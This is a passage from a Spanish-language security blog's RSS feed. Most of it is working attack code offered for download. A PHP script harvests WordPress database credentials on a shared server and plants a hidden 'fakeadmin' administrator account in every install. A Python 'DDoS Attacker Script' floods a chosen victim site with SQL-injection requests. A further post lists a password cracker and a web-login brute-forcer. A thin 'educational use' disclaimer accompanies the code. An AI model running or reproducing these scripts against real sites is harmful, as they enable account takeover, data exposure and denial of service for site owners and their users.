<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$_q</span> = @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT option_value FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;options WHERE option_name=&#8217;siteurl&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> @<a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span><span class="re0">$_q</span>, <span class="nu0">0</span>, <span class="st0">&#8216;option_value&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> UserAdmin<span class="br0">&#40;</span><span class="re0">$action</span>, <span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;create&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wp_uid</span> = <a href="http://www.php.net/rand"><span class="kw3">rand</span></a><span class="br0">&#40;</span><span class="nu0">9990</span>,<span class="nu0">99999</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;fakeadmin&#8217;, md5(&#8216;dummie&#8217;), &#8216;wordpress&#8217;, &#8216;dummie@wordpress.cl&#8217;, &#8216;http://&#8217;, NOW(), &#8221;, 0, &#8216;wordpressdummieadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta (user_id, meta_key, meta_value) VALUES (&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;wp_capabilities&#8217;, &#8216;a:1:{s:13:<span class="es0">\&quot;</span>administrator<span class="es0">\&quot;</span>;b:1;}&#8217; )&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;delete&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta WHERE user_id=(SELECT id FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;fakeadmin/dummie&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables <strong>attack=create_user</strong> o <strong>attack=delete_user</strong>. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.</p>
<p>Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser <em>mortal</em>.</p>
<p>El código está disponible tambien en <a href="http://codes.zerial.org/php/wp-config_discover.phps">http://codes.zerial.org/php/wp-config_discover.phps</a></p>
<p><em>nota: queda de más decir que es para uso educativo y es una herramienta de auditoría <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/wp-config-discover/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/wp-config-discover/"  data-text="WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/wp-config-discover/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>DDoS Attacker Script: Peticiones automatizadas para lograr DoS</title>
		<link>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/</link>
		<comments>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 19:26:52 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=709</guid>
		<description><![CDATA[&#8220;DDoS Attacker Script&#8221; es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection. El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada: #!/usr/bin/python [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<em>DDoS Attacker Script</em>&#8221; es un pequeño script que he escrito en <strong>python</strong> que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.</p>
<p>El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:</p>
<pre name="code" class="python">#!/usr/bin/python
import socket, sys, os
print "][ Attacking " + sys.argv[1]  + " ... ]["
print "injecting " + sys.argv[2];
def attack():
	#pid = os.fork()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	print ">> GET /" + sys.argv[2] + " HTTP/1.1"
	s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
	s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
	s.close()
for i in range(1, 10):
	attack()</pre>
<p>La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.<br />
El uso del script es de la siguiente forma:<br />
<code>$ python DDoS.py www.pagina.com SQLi</code><br />
En <em>www.pagina.com</em> obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo &#8220;<strong>ver_productos.php?id=55&#8242; or &#8217;1&#8242;=&#8217;1</strong>&#8220;</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/"  data-text="DDoS Attacker Script: Peticiones automatizadas para lograr DoS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Mis scripts</title>
		<link>http://blog.zerial.org/linux/mis-scripts/</link>
		<comments>http://blog.zerial.org/linux/mis-scripts/#comments</comments>
		<pubDate>Tue, 19 May 2009 04:13:37 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[utilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=267</guid>
		<description><![CDATA[Este es un resumen de los distintos scripts y utilidades que he publicado en mi blog, con una breve descripcion y link de descarga. dirhack:  Script escrito en bash que nos ayudará al momento de querer hacer auditorias en nuestro servidor web con multiples usuarios. El script buscara en los directorios especificados los ficheros con [...]]]></description>
			<content:encoded><![CDATA[<p>Este es un resumen de los distintos scripts y utilidades que he publicado en mi blog, con una breve descripcion y link de descarga.</p>
<ul>
<li><a href="http://blog.zerial.org/seguridad/dirhack/">dirhack</a>:  Script escrito en bash que nos ayudará al momento de querer hacer auditorias en nuestro servidor web con multiples usuarios. El script buscara en los directorios especificados los ficheros con información sensible que esten legibles y/o modificables por otros usuarios. Se puede ejecutar desde el explorador web o desde algun tipo de terminal o consola.</li>
</ul>
<ul>
<li> <a href="http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/">password salt cracker</a>: Tambien escrito en bash, este script será útil cuando queramos romper algun password encriptado con un <em>salt</em>. Sirve para cualquier tipo de encriptacion como md5, sha, shadow, etc. La forma en que trabaja es netamente fuerza bruta y se basa en un diccionario de palabras. Lee palabra por palabra y la encripta con el salt especificado, si las password coinciden entonces bingo!.</li>
</ul>
<ul>
<li> <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/">web login por fuerza bruta/brute force web login</a>: Con esta utilidad podremos realizar pequeñas pruebas a nuestro sistema de autentificacion y tambien verificar la <em>calidad</em> de nuestras contraseñas. Consiste en realizar determinadas peticiones POST a paginas que validen el login de una sesion. Debido a que esta basada en un diccionario de palabras, podría tardar horas en dar algun resultado.</li>
</ul>
<ul>
<li> <a href="http://blog.zerial.org/seguridad/router-firewall-script-para-iptables/">firewall-router</a>: Este es otro script en bash que facilita la creacion de reglas sobre iptables. Nos puede servir para que nuestra maquina sea un router y tambien firewall. Permite el routeo de paquetes, redireccionamiento de puertos, bloqueo de puertos, etc. Es bastante util y facil de usar, ademas permite el uso de ficheros externos para definir redirecciones de puertos, direcciones ip para bloquear, etc.</li>
</ul>
<ul>
<li> <a href="http://blog.zerial.org/twitsh">twitsh/twitbash</a>: Lo desarrolle pensando en facilitar el uso te twitter en fluxbox. Esta herramienta no nos servira para leer los twits de otra gente pero si para enviar nuestros updates.</li>
</ul>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmis-scripts%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/mis-scripts/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/mis-scripts/"  data-text="Mis scripts" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/mis-scripts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

